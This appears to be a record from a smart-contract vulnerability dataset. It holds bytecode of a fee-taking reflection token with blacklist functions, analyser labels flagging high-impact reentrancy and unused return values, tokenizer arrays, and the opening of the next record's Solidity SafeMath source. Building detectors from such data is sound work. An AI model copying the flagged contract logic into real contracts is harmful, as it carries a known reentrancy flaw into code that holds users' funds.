ffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239e90614bbe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240e90614a7e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516124f59190614bfe565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256990614b9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d990614a1e565b60405180910390fd5b60008111612625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261c90614b7e565b60405180910390fd5b61262d611bf9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561269b575061266b611bf9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156126e6576016548111156126e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126dc90614afe565b60405180910390fd5b5b60006126f130611978565b905060165481106127025760165490505b600060175482101590508080156127265750601560009054906101000a900460ff16155b801561277e57507f000000000000000000000000b2d3ece9d9b7d8c39b31426b45b2008e6d20bc9273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156127965750601560019054906101000a900460ff165b156127aa5760175491506127a9826129af565b5b600060019050600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128515750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561285b57600090505b61286786868684612a85565b505050505050565b60008383111582906128b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ae91906149fc565b60405180910390fd5b5082840390509392505050565b60008060006128d1612d96565b915091506128e881836128ef90919063ffffffff16565b9250505090565b600081836128fd9190614d70565b905092915050565b600081836129139190614d1a565b905092915050565b60008060008060008060008060008060006129358c613049565b935093509350935060008060006129568f8787876129516128c4565b6130c8565b925092509250828282898989899d509d509d509d509d509d509d5050505050505050919395979092949650565b600081836129919190614dfb565b905092915050565b600081836129a79190614da1565b905092915050565b6001601560006101000a81548160ff02191690831515021790555060006129e06002836128ef90919063ffffffff16565b905060006129f7828461298390919063ffffffff16565b90506000479050612a078361317c565b6000612a1c824761298390919063ffffffff16565b9050612a2883826133c8565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051612a5b93929190614c73565b60405180910390a1505050506000601560006101000a81548160ff02191690831515021790555050565b80612a9357612a926134b8565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b365750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b4b57612b4684848461350c565b612d82565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bee5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c0357612bfe84848461377a565b612d81565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612ca75750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612cbc57612cb78484846139e8565b612d80565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d5e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612d7357612d6e848484613bc1565b612d7f565b612d7e8484846139e8565b5b5b5b5b80612d9057612d8f613ec4565b5b50505050565b6000806000600a5490506000600954905060005b60078054905081101561300c57826001600060078481548110612dd057612dcf615036565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612ebe5750816002600060078481548110612e5657612e55615036565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612ed557600a5460095494509450505050613045565b612f656001600060078481548110612ef057612eef615036565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461298390919063ffffffff16565b9250612ff76002600060078481548110612f8257612f81615036565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361298390919063ffffffff16565b9150808061300490614f31565b915050612daa565b50613024600954600a546128ef90919063ffffffff16565b82101561303c57600a54600954935093505050613045565b81819350935050505b9091565b600080600080600061305a86613ee1565b9050600061306787613f12565b9050600061307488613f43565b905060006130af826130a185613093888e61298390919063ffffffff16565b61298390919063ffffffff16565b61298390919063ffffffff16565b9050808484849750975097509750505050509193509193565b6000806000806130e1858a61299990919063ffffffff16565b905060006130f8868a61299990919063ffffffff16565b9050600061310f878a61299990919063ffffffff16565b90506000613126888a61299990919063ffffffff16565b905060006131618261315385613145888a61298390919063ffffffff16565b61298390919063ffffffff16565b61298390919063ffffffff16565b90508481859750975097505050505050955095509592505050565b6000600267ffffffffffffffff81111561319957613198615065565b5b6040519080825280602002602001820160405280156131c75781602001602082028036833780820191505090505b50905030816000815181106131df576131de615036565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561327f57600080fd5b505afa158015613293573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132b79190614438565b816001815181106132cb576132ca615036565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613330307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612337565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613392959493929190614c19565b600060405180830381600087803b1580156133ac57600080fd5b505af11580156133c0573d6000803e3d6000fd5b505050505050565b6133f3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612337565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061343d611bf9565b426040518863ffffffff1660e01b815260040161345f96959493929190614965565b6060604051808303818588803b15801561347857600080fd5b505af115801561348c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906134b191906145d2565b5050505050565b6000600f541480156134cc57506000601354145b156134d65761350a565b600f546010819055506011546012819055506013546014819055506000600f81905550600060118190555060006013819055505b565b60008060008060008060006135208861291b565b965096509650965096509650965061358088600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298390919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061361587600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136aa86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136f682613f74565b6136ff81614119565b6137098584614368565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516137669190614bfe565b60405180910390a350505050505050505050565b600080600080600080600061378e8861291b565b96509650965096509650965096506137ee87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061388384600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061391886600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061396482613f74565b61396d81614119565b6139778584614368565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516139d49190614bfe565b60405180910390a350505050505050505050565b60008060008060008060006139fc8861291b565b9650965096509650965096509650613a5c87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613af186600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b3d82613f74565b613b4681614119565b613b508584614368565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051613bad9190614bfe565b60405180910390a350505050505050505050565b6000806000806000806000613bd58861291b565b9650965096509650965096509650613c3588600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298390919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613cca87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613d5f84600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613df486600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613e4082613f74565b613e4981614119565b613e538584614368565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051613eb09190614bfe565b60405180910390a350505050505050505050565b601054600f81905550601254601181905550601454601381905550565b6000613f0b6064613efd600f548561299990919063ffffffff16565b6128ef90919063ffffffff16565b9050919050565b6000613f3c6064613f2e6013548561299990919063ffffffff16565b6128ef90919063ffffffff16565b9050919050565b6000613f6d6064613f5f6011548561299990919063ffffffff16565b6128ef90919063ffffffff16565b9050919050565b6000613f7e6128c4565b90506000613f95828461299990919063ffffffff16565b9050613fe981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615614114576140d083600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60006141236128c4565b9050600061413a828461299990919063ffffffff16565b90506141b08160016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615614363576142fd8360026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b60026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61437d82600a5461298390919063ffffffff16565b600a8190555061439881600b5461290590919063ffffffff16565b600b819055505050565b6000813590506143b181615467565b92915050565b6000815190506143c681615467565b92915050565b6000813590506143db8161547e565b92915050565b6000813590506143f081615495565b92915050565b60008151905061440581615495565b92915050565b60006020828403121561442157614420615094565b5b600061442f848285016143a2565b91505092915050565b60006020828403121561444e5761444d615094565b5b600061445c848285016143b7565b91505092915050565b6000806040838503121561447c5761447b615094565b5b600061448a858286016143a2565b925050602061449b858286016143a2565b9150509250929050565b6000806000606084860312156144be576144bd615094565b5b60006144cc868287016143a2565b93505060206144dd868287016143a2565b92505060406144ee868287016143e1565b9150509250925092565b6000806040838503121561450f5761450e615094565b5b600061451d858286016143a2565b925050602061452e858286016143e1565b9150509250929050565b60006020828403121561454e5761454d615094565b5b600061455c848285016143cc565b91505092915050565b60006020828403121561457b5761457a615094565b5b6000614589848285016143e1565b91505092915050565b600080604083850312156145a9576145a8615094565b5b60006145b7858286016143e1565b92505060206145c8858286016143cc565b9150509250929050565b6000806000606084860312156145eb576145ea615094565b5b60006145f9868287016143f6565b935050602061460a868287016143f6565b925050604061461b868287016143f6565b9150509250925092565b6000614631838361463d565b60208301905092915050565b61464681614e2f565b82525050565b61465581614e2f565b82525050565b600061466682614cd5565b6146708185614cf8565b935061467b83614cc5565b8060005b838110156146ac5781516146938882614625565b975061469e83614ceb565b92505060018101905061467f565b5085935050505092915050565b6146c281614e41565b82525050565b6146d181614e84565b82525050565b6146e081614e96565b82525050565b60006146f182614ce0565b6146fb8185614d09565b935061470b818560208601614ecc565b61471481615099565b840191505092915050565b600061472c602383614d09565b9150614737826150aa565b604082019050919050565b600061474f602a83614d09565b915061475a826150f9565b604082019050919050565b6000614772602683614d09565b915061477d82615148565b604082019050919050565b6000614795602283614d09565b91506147a082615197565b604082019050919050565b60006147b8601b83614d09565b91506147c3826151e6565b602082019050919050565b60006147db601b83614d09565b91506147e68261520f565b602082019050919050565b60006147fe601f83614d09565b915061480982615238565b602082019050919050565b6000614821602883614d09565b915061482c82615261565b604082019050919050565b6000614844601883614d09565b915061484f826152b0565b602082019050919050565b6000614867601883614d09565b9150614872826152d9565b602082019050919050565b600061488a602083614d09565b915061489582615302565b602082019050919050565b60006148ad602983614d09565b91506148b88261532b565b604082019050919050565b60006148d0602583614d09565b91506148db8261537a565b604082019050919050565b60006148f3602483614d09565b91506148fe826153c9565b604082019050919050565b6000614916602c83614d09565b915061492182615418565b604082019050919050565b61493581614e6d565b82525050565b61494481614e77565b82525050565b600060208201905061495f600083018461464c565b92915050565b600060c08201905061497a600083018961464c565b614987602083018861492c565b61499460408301876146d7565b6149a160608301866146d7565b6149ae608083018561464c565b6149bb60a083018461492c565b979650505050505050565b60006020820190506149db60008301846146b9565b92915050565b60006020820190506149f660008301846146c8565b92915050565b60006020820190508181036000830152614a1681846146e6565b905092915050565b60006020820190508181036000830152614a378161471f565b9050919050565b60006020820190508181036000830152614a5781614742565b9050919050565b60006020820190508181036000830152614a7781614765565b9050919050565b60006020820190508181036000830152614a9781614788565b9050919050565b60006020820190508181036000830152614ab7816147ab565b9050919050565b60006020820190508181036000830152614ad7816147ce565b9050919050565b60006020820190508181036000830152614af7816147f1565b9050919050565b60006020820190508181036000830152614b1781614814565b9050919050565b60006020820190508181036000830152614b3781614837565b9050919050565b60006020820190508181036000830152614b578161485a565b9050919050565b60006020820190508181036000830152614b778161487d565b9050919050565b60006020820190508181036000830152614b97816148a0565b9050919050565b60006020820190508181036000830152614bb7816148c3565b9050919050565b60006020820190508181036000830152614bd7816148e6565b9050919050565b60006020820190508181036000830152614bf781614909565b9050919050565b6000602082019050614c13600083018461492c565b92915050565b600060a082019050614c2e600083018861492c565b614c3b60208301876146d7565b8181036040830152614c4d818661465b565b9050614c5c606083018561464c565b614c69608083018461492c565b9695505050505050565b6000606082019050614c88600083018661492c565b614c95602083018561492c565b614ca2604083018461492c565b949350505050565b6000602082019050614cbf600083018461493b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614d2582614e6d565b9150614d3083614e6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614d6557614d64614f7a565b5b828201905092915050565b6000614d7b82614e6d565b9150614d8683614e6d565b925082614d9657614d95614fa9565b5b828204905092915050565b6000614dac82614e6d565b9150614db783614e6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614df057614def614f7a565b5b828202905092915050565b6000614e0682614e6d565b9150614e1183614e6d565b925082821015614e2457614e23614f7a565b5b828203905092915050565b6000614e3a82614e4d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614e8f82614ea8565b9050919050565b6000614ea182614e6d565b9050919050565b6000614eb382614eba565b9050919050565b6000614ec582614e4d565b9050919050565b60005b83811015614eea578082015181840152602081019050614ecf565b83811115614ef9576000848401525b50505050565b60006002820490506001821680614f1757607f821691505b60208210811415614f2b57614f2a614fd8565b5b50919050565b6000614f3c82614e6d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614f6f57614f6e614f7a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f4163636f756e7420697320616c726561647920696e636c756465640000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f7573657220616c726561647920626c61636b6c69737465640000000000000000600082015250565b7f7573657220616c72656164792077686974656c69737465640000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b61547081614e2f565b811461547b57600080fd5b50565b61548781614e41565b811461549257600080fd5b50565b61549e81614e6d565b81146154a957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b3dd4bc81db6c5f8d9d4553bef00ed14ef92b7c02ce98eaeb8d9f0823cb136e864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2278,
12376,
2497,
2620,
20952,
2278,
2581,
2620,
2278,
28154,
2683,
2487,
2050,
2683,
2683,
2497,
2620,
8586,
10790,
22394,
2692,
25746,
18827,
16147,
14141,
9818,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1017,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,576 | 0x955cd02e396f8a0256272ac8df16f6d65f3ce54a | pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
